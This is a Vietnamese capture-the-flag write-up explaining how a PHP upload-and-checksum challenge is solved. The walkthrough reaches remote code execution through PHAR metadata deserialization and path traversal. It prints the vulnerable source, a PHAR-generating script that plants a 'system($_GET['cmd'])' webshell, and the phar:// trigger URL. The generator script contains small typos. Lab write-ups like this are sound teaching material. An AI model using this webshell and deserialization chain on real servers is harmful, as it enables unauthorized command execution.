Post

Cookie Arena Writeup: File Checksum

Exploit php-phar deserialization and path traversal (RFI) to RCE

Cookie Arena Writeup: File Checksum

Overview

Trang web cho ta upload 1 file. Thay vì bruteforce tôi sẽ explorer source code để tìm ra vấn đề dần dần. Trước tiên là index.php:

1
const response = await fetch("upload.php", { method: "POST", body: formData });
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$uploadDir = 'uploads/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $fileName = basename($_FILES['file']['name']);  // <--- basename return filename from path
    $filePath = $uploadDir . uniqid() . "_" . $fileName; // <--- prevent calling file with unique id

    $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
    $disallowedExtensions = ['php', 'php5', 'php6', 'php7', 'php8'];  // <--- array of file extension is prevented 

    if (in_array($fileExtension, $disallowedExtensions)) {
        echo "File type not allowed!";
        exit;
    }

    if (move_uploaded_file($_FILES['file']['tmp_name'], $filePath)) {   // <--- move_uploaded_file(file, dest)
        echo "File uploaded successfully! <br>";
        echo "Link to checksum: <a href='checksum.php?file=" . urlencode($filePath) . "'>checksum.php?file=" . htmlspecialchars($filePath) . "</a>";  // Display link to filePath in web server
    } else {
        echo "File upload failed!";
    }
} else {
    echo "No file uploaded or there was an upload error.";
}
?>

Tôi đã note lại file upload.php bằng cách comment vào các dòng code.

Tiếp tục đến checksum.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include 'logging.php';

if (isset($_GET['file'])) {
    $filePath = $_GET['file'];
    if (file_exists($filePath)) {
        $md5Checksum = md5_file($filePath);
        echo "MD5 Checksum of file: " . htmlspecialchars($filePath) . "<br>";
        echo "MD5: " . $md5Checksum;
        $log = new LogFile();
        $log->filename = 'checksum.log';
        $log->fcontents = "File: " . $filePath . " | MD5: " . $md5Checksum;
    } else {
        echo "File does not exist.";
    }
} else {
    echo "No file specified.";
}
?>

Nhìn qua có thể thấy rằng logging.php hoàn toàn vô hại nhưng không, tham số filePath không hề được validate và nó có thể exploit để leak /flag.txt như sau:

Nhưng nó đang ở dạng MD5, how to f*ck có thể decrypt được bây giờ ta 😀. Thôi gác lại đó đi, ta sẽ đi phân tích các file tiếp theo:

f7467f895ccf80c6ee99f49ad025fbdc

Tiếp đến file trông có vẻ vô hại nhưng nó là gốc rễ của vấn đề:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class LogFile {
    public $filename;
    public $fcontents;

    public function writeToFile() {
        if (!empty($this->filename) && !empty($this->fcontents)) {
            file_put_contents($this->filename, $this->fcontents . PHP_EOL, FILE_APPEND);
        }
    }

    public function __destruct() {  // <--- destructor, it will run at the end of last code at checksum.php file.
        $this->writeToFile();
    }
}
?>

Gadget này cho phép ta có thể ghi nội dung tùy ý: $this->fcontents vào file $this->filename–> Gadget File Write.

Exploit

Để tận dụng được gadget này mặc dù các extension php đã bị block thì tôi sẽ sử dụng PHAR extension

Trước hết thì để tạo được payload với file PHAR ta cần file payload là PHP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class LogFile {
    public $filename;
    public $fcontents;
}

payload = new LogFile();

payload->filename = "shell.php";
payload->fcontnets = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>"

@unlink('exploit.phar'); // Remove old file phar
$phar = new Phar("exploit.phar"); // Create phar file
$phar->startBuffering();

// Adding a file into archive 
$phar->addFromString("test.txt", "Some thing you know :)))");
// Save payload into metadata wait server unserialize when access through stream wrapper phar://
$phar->setMetadata($payload);

$phar->stopBuffering();

echo "Exploit Phar file has been generated!";
?>

Tại sao lại lưu payload trong metadata của file PHAR?
Đó là vì nếu bạn lưu ở nơi khác như stub hay trong file test.txt được nén trong archive thì nó sẽ không thể thực thi được vì để chạy được file PHAR ta cần câu lệnh: php test.phar. Ta chỉ có thể lợi dụng stream wrapper phar:// để tự động unserialize. Đây là cơ chế được tích hợp trong bộ xử lý stream.

Ok, sau khi có payload thì ta cần chuyển nó thành phar file qua câu lệnh: php -d phar.readonly=0 exploit.php

Sau đó upload lên ta sẽ được URL như hình:

Đổi thành stream wrapper để thực thi payload trong metadata:

http://<YOUR-IP>:30876/checksum.php?file=phar://uploads/685d2fe384aa0_exploit.phar/test.txt

Bây giờ Webshell đã được tạo. Access vào file /uploads/shell.php?cmd=id để nhận thành quả:

Done!

Kết luận

Bài này khá giống 1 attack chain và nó cũng không dễ nếu bạn chưa quen với khái niệm PHAR file :)). Bạn có thể trực quan hơn với biểu đồ này:

This post is licensed under CC BY 4.0 by the author.